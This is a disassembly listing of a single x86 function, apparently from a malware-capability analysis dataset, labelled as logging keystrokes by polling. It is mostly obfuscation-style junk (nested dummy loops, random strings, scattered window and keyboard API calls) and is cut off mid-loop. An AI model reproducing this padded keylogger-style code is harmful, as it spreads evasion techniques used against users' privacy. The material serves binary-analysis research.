Function at 0x455058
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3363
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x4fc
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1bc], 0x202f
mov dword [ebp - 0x2b4], str.nfv_errut_nie_udotrt_ivcyqjwr_zlevsndw
cmp dword [ebp - 0x1bc], 0x2416
jle 0x455159
and dword [ebp - 0xdc], 0
jmp 0x4550b7
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x5c37
jge 0x455159
and dword [ebp - 0x18c], 0
jmp 0x4550dd
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x55d3
jge 0x455154
and dword [ebp - 0x1c], 0
jmp 0x4550f6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x174
jge 0x45514f
mov eax, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0xdc]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
push dword [ebp - 0x2e4]
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0x4c4]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x4c4]
call fcn.00402793
jmp 0x4550ef
jmp 0x4550d0
jmp 0x4550aa
mov dword [ebp - 0x208], 0x95f
and dword [ebp - 4], 0
cmp dword [ebp - 0x1bc], 0x2001
jge 0x45517f
push dword [ebp - 0x2b4]
call fcn.00487285
pop ecx
jmp 0x45519b
or dword [ebp - 4], 0xffffffff
jmp 0x4551a5
mov dword [ebp - 0x1a4], 0xf0c
mov dword [ebp - 0x324], str.mtaasksrl_tjhkfgve_yuokd_neshttyf_qrsulzts_uqsdnyou_tkmchyuip_rsz_kotzyou
cmp dword [ebp - 0x1a4], 0x10ab
jle 0x45524d
and dword [ebp - 0x24], 0
jmp 0x4551d6
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x2b2c
jge 0x45524d
and dword [ebp - 0x13c], 0
jmp 0x4551f5
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x551f
jge 0x45524b
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x13c]
cdq
mov dword [ebp - 0x354], eax
mov dword [ebp - 0x350], edx
push dword [ebp - 0x350]
push dword [ebp - 0x354]
lea ecx, [ebp - 0x410]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x410]
call fcn.00402793
jmp 0x4551e8
jmp 0x4551cf
mov dword [ebp - 0x394], str.affmot_cjzki_znmd_hyg_pqfsr_yqraobi_fvigsuor_wqnpahuna_oothkgyaf_bmwxiofs_bphep_juxv
mov dword [ebp - 4], 2
cmp dword [ebp - 0x1a4], 0xe4e
jge 0x455276
push dword [ebp - 0x324]
call fcn.00487285
pop ecx
jmp 0x455292
or dword [ebp - 4], 0xffffffff
jmp 0x45529c
cmp dword [ebp - 0x208], 0xa8e
jle 0x455782
mov dword [ebp - 0x1e4], 0x2952
mov dword [ebp - 0x23c], str.nixcf_qbygjqud_ujqquymtr_ajk_rly_kkuzcer_aaxzawaxb_azk_txe_xib_woh
cmp dword [ebp - 0x1e4], 0x2bc1
jle 0x455336
and dword [ebp - 0x2c], 0
jmp 0x4552d9
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x3aee
jge 0x455336
and dword [ebp - 0xe4], 0
jmp 0x4552f8
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xeb7
jge 0x455334
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xe4]
shl eax, cl
cdq
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], edx
push dword [ebp - 0x2f4]
push dword [ebp - 0x2f8]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4552eb
jmp 0x4552d2
and dword [ebp - 0x54], 0
jmp 0x455343
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x4ee4
jge 0x4555d8
and dword [ebp - 0x4c], 0
jmp 0x45535d
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x4f92
jge 0x4555d3
mov dword [ebp - 0x1ac], 0xc54
mov dword [ebp - 0x380], str.dzdwxrh_fewv_bplxdbvmk_shy_ffnjhdibs_hbbjo_dsmuf_vlqd
cmp dword [ebp - 0x1ac], 0xed7
jle 0x4553f2
and dword [ebp - 0x34], 0
jmp 0x455397
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0x33b
jge 0x4553f2
and dword [ebp - 0x16c], 0
jmp 0x4553b6
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x1985
jge 0x4553f0
mov eax, dword [ebp - 0x34]
sub eax, dword [ebp - 0x16c]
cdq
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], edx
push dword [ebp - 0x35c]
push dword [ebp - 0x360]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4553a9
jmp 0x455390
and dword [ebp - 0xf4], 0
jmp 0x455408
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x4933
jge 0x455585
mov dword [ebp - 0x1fc], 0x66c2
mov dword [ebp - 0x230], str.zidqr_akgxwrm_meivuazf_jaabrj_zowhm_ngmbeur_jqvd
cmp dword [ebp - 0x1fc], 0x68ba
jle 0x455508
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
and dword [ebp - 0x144], 0
jmp 0x45545f
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x6f3a
jge 0x455500
and dword [ebp - 0x3c], 0
jmp 0x45547c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x50d8
jge 0x4554fb
and dword [ebp - 0xec], 0
jmp 0x45549b
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x14a1
jge 0x4554f6
and dword [ebp - 0x44], 0
jmp 0x4554b4
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x43ce
jge 0x4554f4
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0xec]
add eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x144]
cdq
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], edx
push dword [ebp - 0x304]
push dword [ebp - 0x308]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4554ad
jmp 0x45548e
jmp 0x455475
jmp 0x455452
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0xf4]
or eax, dword [ebp - 0x54]
cdq
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x368], edx
mov dword [ebp - 4], 4
cmp dword [ebp - 0x1fc], 0x6569
jge 0x455544
mov edx, dword [ebp - 0x230]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x455560
or dword [ebp - 4], 0xffffffff
jmp 0x45556a
push dword [ebp - 0x368]
push dword [ebp - 0x36c]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4553fb
mov dword [ebp - 4], 6
cmp dword [ebp - 0x1ac], 0xa8b
jge 0x4555a8
mov edx, dword [ebp - 0x380]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x4555c4
or dword [ebp - 4], 0xffffffff
jmp 0x4555ce
jmp 0x455356
jmp 0x45533c
mov dword [ebp - 4], 8
cmp dword [ebp - 0x1e4], 0x2584
jge 0x4555fb
mov edx, dword [ebp - 0x23c]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x455617
or dword [ebp - 4], 0xffffffff
jmp 0x455621
mov dword [ebp - 0x1b4], 0x5d43
mov dword [ebp - 0x330], str.kovd_qoeojfl_zwzwzix
cmp dword [ebp - 0x1b4], 0x5ebd
jle 0x455721
and dword [ebp - 0x184], 0
jmp 0x45565b
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x5cc
jge 0x455721
and dword [ebp - 0x5c], 0
jmp 0x455678
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x377e
jge 0x45571c
and dword [ebp - 0xfc], 0
jmp 0x45569b
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x613d
jge 0x455717
and dword [ebp - 0x64], 0
jmp 0x4556b4
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x5d71
jge 0x455712
mov eax, dword [ebp - 0x184]
and eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xfc]
xor ecx, dword [ebp - 0x64]
or eax, ecx
cdq
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], edx
push dword [ebp - 0x314]
push dword [ebp - 0x318]
lea ecx, [ebp - 0x494]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x494]
call fcn.00402793
jmp 0x4556ad
jmp 0x45568e
jmp 0x455671
jmp 0x45564e
push 0xa36
push 0x464
push 0x50b
push 0x23f3
push 0
call dword [sym.imp.USER32.dll_SetRect]
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x1b4], 0x5cc6
jge 0x45575c
push dword [ebp - 0x330]
call fcn.00487285
pop ecx
jmp 0x455778
or dword [ebp - 4], 0xffffffff
jmp 0x455782
cmp dword [ebp + 8], 2
jl 0x4572cd
mov dword [ebp - 0x1cc], 0xb9a
mov dword [ebp - 0x20c], 0x3fea
mov dword [ebp - 0x248], str.yvdqcfzb_wjjzo_goh_ppkdzmjf_jwbjj_jydsw_phiqje_hryeaasp_hnmuqayac_vkspe
cmp dword [ebp - 0x20c], 0x42b4
jle 0x455851
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
and dword [ebp - 0x14c], 0
jmp 0x4557dd
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x41d1
jge 0x45584b
and dword [ebp - 0x6c], 0
jmp 0x4557f6
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x26b3
jge 0x455849
mov eax, dword [ebp - 0x14c]
or eax, dword [ebp - 0x6c]
cdq
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], edx
push dword [ebp - 0x374]
push dword [ebp - 0x378]
lea ecx, [ebp - 0x440]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x440]
call fcn.00402793
jmp 0x4557ef
jmp 0x4557d0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x390], str.frtddau_ouhndxj_dbnhjs
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x20c], 0x3c64
jge 0x45587a
push dword [ebp - 0x248]
call fcn.00487285
pop ecx
jmp 0x455896
or dword [ebp - 4], 0xffffffff
jmp 0x4558a0
cmp dword [ebp - 0x1cc], 0xc3c
jle 0x455ce7
and dword [ebp - 0x154], 0
jmp 0x4558c6
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x4451
jge 0x455ce7
mov dword [ebp - 0x1c4], 0x1441
mov dword [ebp - 0x33c], str.dbokip_axa_bjpwkjwk_vefauy_pgke
cmp dword [ebp - 0x1c4], 0x1666
jle 0x4559bd
call dword [sym.imp.KERNEL32.dll_GetVersion]
and dword [ebp - 0x174], 0
jmp 0x455916
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x2037
jge 0x4559bd
and dword [ebp - 0x104], 0
jmp 0x45593c
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x61be
jge 0x4559b8
and dword [ebp - 0x74], 0
jmp 0x455955
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x1d48
jge 0x4559b3
mov eax, dword [ebp - 0x104]
cdq
idiv dword [ebp - 0x74]
mov eax, dword [ebp - 0x174]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], edx
push dword [ebp - 0x220]
push dword [ebp - 0x224]
lea ecx, [ebp - 0x4f4]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x4f4]
call fcn.00402793
jmp 0x45594e
jmp 0x45592f
jmp 0x455909
and dword [ebp - 0x8c], 0
jmp 0x4559d3
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x5340
jge 0x455c9d
mov dword [ebp - 0x19c], 0x5f8f
mov dword [ebp - 0x388], str.rpkpmn_jcq_uqpgsb_bbagqiogz_ewpxxfif_teni_wlgfv_kbcr_vbysqqr_aglf_vzbj_cth_lxuog_woqbxceq
cmp dword [ebp - 0x19c], 0x62c6
jle 0x455aca
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
and dword [ebp - 0x7c], 0
jmp 0x455a1a
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x6b6
jge 0x455aca
and dword [ebp - 0x10c], 0
jmp 0x455a3d
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0x6cfb
jge 0x455ac5
and dword [ebp - 0x84], 0
jmp 0x455a5f
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x7076
jge 0x455ac0
mov eax, dword [ebp - 0x7c]
cdq
idiv dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x84]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], edx
push dword [ebp - 0x228]
push dword [ebp - 0x22c]
lea ecx, [ebp - 0x3c8]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x3c8]
call fcn.00402793
jmp 0x455a52
jmp 0x455a30
jmp 0x455a13
mov eax, dword [ebp - 0x154]
or eax, dword [ebp - 0x8c]
cdq
mov dword [ebp - 0x244], eax
mov dword [ebp - 0x240], edx
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x19c], 0x5e31
jge 0x455b02
push dword [ebp - 0x388]
call fcn.00487285
pop ecx
jmp 0x455b1e
or dword [ebp - 4], 0xffffffff
jmp 0x455b28
mov dword [ebp - 0x1ec], 0x361e
mov dword [ebp - 0x254], str.bohlpzn_cpqgqxyl_bpkovw_vigjug
cmp dword [ebp - 0x1ec], 0x3977
jle 0x455c39
push 0
push 0x18b7
push 0x1508
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
and dword [ebp - 0x114], 0
jmp 0x455b74
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x45ad
jge 0x455c39
and dword [ebp - 0x94], 0
jmp 0x455b9a
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x1dfb
jge 0x455c34
and dword [ebp - 0x194], 0
jmp 0x455bc0
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x6d06
jge 0x455c2f
and dword [ebp - 0x9c], 0
jmp 0x455be2
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x6774
jge 0x455c2d
mov eax, dword [ebp - 0x114]
and eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x194]
and ecx, dword [ebp - 0x9c]
or eax, ecx
cdq
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], edx
push dword [ebp - 0x234]
push dword [ebp - 0x238]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x455bd5
jmp 0x455bb3
jmp 0x455b8d
jmp 0x455b67
push dword [ebp - 0x240]
push dword [ebp - 0x244]
mov ecx, 0xabd2e0
call fcn.004825e1
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x1ec], 0x3275
jge 0x455c72
mov edx, dword [ebp - 0x254]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x455c8e
or dword [ebp - 4], 0xffffffff
jmp 0x455c98
jmp 0x4559c6
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x1c4], 0x1214
jge 0x455cbc
push dword [ebp - 0x33c]
call fcn.00487285
pop ecx
jmp 0x455cd8
or dword [ebp - 4], 0xffffffff
jmp 0x455ce2
jmp 0x4558b9
mov dword [ebp - 0x204], 0x2855
mov dword [ebp - 0x260], str.rkbgiwe_smqqhvtba_qjps_vqofygd_xgick_lqyh_koiztj_udjwdvgm
cmp dword [ebp - 0x204], 0x2b38
jle 0x455de8
and dword [ebp - 0x11c], 0
jmp 0x455d21
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0x3e70
jge 0x455de8
and dword [ebp - 0xa4], 0
jmp 0x455d47
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0x3e00
jge 0x455de3
and dword [ebp - 0x15c], 0
jmp 0x455d6d
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x402c
jge 0x455dde
and dword [ebp - 0xac], 0
jmp 0x455d8f
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x5e00
jge 0x455ddc
mov eax, dword [ebp - 0x11c]
xor eax, dword [ebp - 0xa4]
mov edx, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0xac]
shl edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], edx
push dword [ebp - 0x24c]
push dword [ebp - 0x250]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x455d82
jmp 0x455d60
jmp 0x455d3a
jmp 0x455d14
push 1
lea eax, [ebp - 0x464]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.00451a83
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x3b0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x3b0]
lea edi, [ebp - 0x3a4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x204], 0x26bf
jge 0x455e3a
mov edx, dword [ebp - 0x260]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x455e56
or dword [ebp - 4], 0xffffffff
jmp 0x455e60
mov dword [ebp - 0x214], 0x5c0d
mov dword [ebp - 0x278], str.swuz_rdj_vssihko_bfutujd_jxhwcljrh_hxnreluh_seppz_xegnzrd_aogrrc_xfpnxvz_movcx_rgrx_wznzy_hjqiktmy
cmp dword [ebp - 0x214], 0x5ec1
jle 0x455fa8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
and dword [ebp - 0x124], 0
jmp 0x455ea9
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x5d7c
jge 0x455f92
and dword [ebp - 0xb4], 0
jmp 0x455ecf
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x2b98
jge 0x455f8d
and dword [ebp - 0x17c], 0
jmp 0x455ef5
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x7a2c
jge 0x455f88
and dword [ebp - 0xbc], 0
jmp 0x455f1b
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x7ea4
jge 0x455f83
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x17c]
add ecx, dword [ebp - 0xbc]
shl eax, cl
cdq
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x258], edx
push dword [ebp - 0x258]
push dword [ebp - 0x25c]
lea ecx, [ebp - 0x3e0]
call fcn.00452867
pop ecx
pop ecx
mov ecx, eax
call fcn.004029a6
push eax
call fcn.00487285
pop ecx
lea ecx, [ebp - 0x3e0]
call fcn.00402793
jmp 0x455f0e
jmp 0x455ee8
jmp 0x455ec2
jmp 0x455e9c
push 1
push 0
push 0x1079
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x1cc], 0x84d
jge 0x4560b2
mov dword [ebp - 0x1f4], 0x383d
mov dword [ebp - 0x26c], str.ylbru_oppyovs_nyypfsad_hbxequesr_cclugtuny_xmvu
cmp dword [ebp - 0x1f4], 0x3aac
jle 0x456056
and dword [ebp - 0x12c], 0
jmp 0x455ff5
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x5bb6
jge 0x456056
and dword [ebp - 0xc4], 0
jmp 0x456017
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0xd4a
jge 0x456054
mov eax, dword [ebp - 0x12c]
and eax, dword [ebp - 0xc4]
cdq
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
push dword [ebp - 0x264]
push dword [ebp - 0x268]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x45600a
jmp 0x455fe8
mov edx, dword [ebp - 0x390]
mov ecx, 0xabd2e0
call fcn.00483a8f
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x1f4], 0x352e
jge 0x456086
mov edx, dword [ebp - 0x26c]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x4560a2
mov dword [ebp - 4], 0x16
jmp 0x4560b2
jmp 0x45623f
or dword [ebp - 4], 0xffffffff
jmp 0x456249
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x214], 0x59d1
jge 0x456268
push dword [ebp - 0x278]
call fcn.00487285
pop ecx
jmp 0x456284
or dword [ebp - 4], 0xffffffff
jmp 0x45628e
mov dword [ebp - 0x1dc], 0x7dc9
mov dword [ebp - 0x398], str.rjlotovxl_acgi_ngl_jjrk_tug_hzmyg_cqpfxrbaw_huat_qbznxa_knisebj_fsyfqmb_ymt
cmp dword [ebp - 0x1dc], 0x8037
jle 0x456322
and dword [ebp - 0x14], 0
jmp 0x4562bb
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x51f
jge 0x456307
and dword [ebp - 0x18], 0
jmp 0x4562d1
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3043
jge 0x456305
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
cdq
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], edx
push dword [ebp - 0x27c]
push dword [ebp - 0x280]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4562ca
jmp 0x4562b4
push 0xcc6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov dword [ebp - 0x1b8], 0x5d26
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x1dc], 0x7c05
jge 0x45634f
mov edx, dword [ebp - 0x398]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45636b
or dword [ebp - 4], 0xffffffff
jmp 0x456375
mov dword [ebp - 0x358], str.bbm_khujc_asqjpd_usp_cgoubnft_xetdbi_gixw_zockv_idr_hehcw_cbkwrmm_duxudk_zldhgvdr
cmp dword [ebp - 0x1b8], 0x608c
jle 0x4566d3
mov dword [ebp - 0x1a0], 0x2537
mov dword [ebp - 0x284], str.faqcln_eabv_yyuy_pwphaoke
cmp dword [ebp - 0x1a0], 0x2587
jle 0x45640a
and dword [ebp - 0x20], 0
jmp 0x4563bc
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x7707
jge 0x45640a
and dword [ebp - 0x28], 0
jmp 0x4563d2
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x5151
jge 0x456408
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x28]
shl eax, cl
cdq
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x288], edx
push dword [ebp - 0x288]
push dword [ebp - 0x28c]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4563cb
jmp 0x4563b5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x1a0], 0x2421
jge 0x456441
mov edx, dword [ebp - 0x284]
mov ecx, 0xabd2e0
call fcn.00483a8f
jmp 0x45645d
or dword [ebp - 4], 0xffffffff
jmp 0x456467
mov dword [ebp - 0x1b0], 0x29bc
mov dword [ebp - 0x290], str.lbrafn_dws_wtmd_uyrnrut_stl_igmzmv
cmp dword [ebp - 0x1b0], 0x2c19
jle 0x456546
and dword [ebp - 0x40], 0
jmp 0x456498
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x445c
jge 0x45651f
and dword [ebp - 0x30], 0
jmp 0x4564ae
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0x281f
jge 0x45651a
and dword [ebp - 0x38], 0
jmp 0x4564c4
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x3f6
jge 0x456518
and dword [ebp - 0x48], 0
jmp 0x4564da
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x6ac0
jge 0x456516
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x38]
shl eax, cl
and eax, dword [ebp - 0x40]
xor eax, dword [ebp - 0x48]
cdq
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], edx
push dword [ebp - 0x294]
push dword [ebp - 0x298]
mov ecx, 0xabd2e0
call fcn.004825e1
jmp 0x4564d3
jmp 0x4564bd
jmp 0x4564a7
jmp 0x456491
push 0x5af
push 0
push 0x1dab
push 0x405
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
and dword [ebp - 0x50], 0
jmp 0x456553
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x483d
jge 0x45668a
and dword [ebp - 0x58], 0
jmp 0x45656d
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0x3475
jge 0x456685
mov eax, dword [ebp - 0x50]
and eax, dword [ebp - 0x58]
cdq
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], edx
mov dword [ebp - 0x1a8], 0x2988
mov dword [ebp - 0x37c], str.pfvm_zmpgrmwst_cdhemew_qmyrbtgkh_ytqozyv_tcxqqu_vpwomk
cmp dword [ebp - 0x1a8], 0x299b
jle 0x456621
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
and dword [ebp - 0x60], 0
jmp 0x4565cb
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0x747b
jge 0x456619
and dword [ebp - 0x68], 0
jmp 0x4565e1
